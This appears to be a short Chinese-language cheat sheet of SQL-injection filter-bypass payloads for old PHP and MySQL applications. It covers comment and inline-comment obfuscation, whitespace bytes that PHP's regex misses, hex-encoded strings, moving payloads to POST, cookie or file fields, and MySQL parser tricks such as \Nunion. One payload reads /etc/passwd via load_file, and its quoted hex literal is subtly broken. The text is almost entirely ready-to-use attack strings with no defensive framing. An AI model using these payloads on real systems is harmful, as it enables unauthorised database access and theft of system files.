雖然mysql + php的開發中可以使用pdo中,但是有些老久的程序沒有使用,或其他原因
1.注釋繞過
select/*comment*/user/*zzsdsdsf*/from mysql.user;
2.內聯注釋繞過
/*!12345select*//*!12345user*/ from mysql.user;
3.特殊空白字符繞過
在php中\s會匹配0x09,0x0a,0x0b,0x0c,0x0d,0x20
但是在mysql中空白字符為 0x09,0x0a,0x0b,0x0c,0x0d,0x20,0xa0
0xa0有時候有奇效
0x0a和0x0d會影響"."的匹配,有時候也是可以利用的
4.十六進制繞過
select load_file('0x2f6574632f706173737764');
python
>>> '/etc/passwd'.encode('hex')
'2f6574632f706173737764'
5.換一種提交姿勢繞過
有時候程序員只過濾了GET中的危險字符,可以試試POST,COOKIES甚至是FILES
6.mysql黑魔法繞過
select{x user}from {x mysql.user};
select user from mysql.user where 1=\Nunion select@1;
select user from mysql.user where 1=\Nunion select-.1;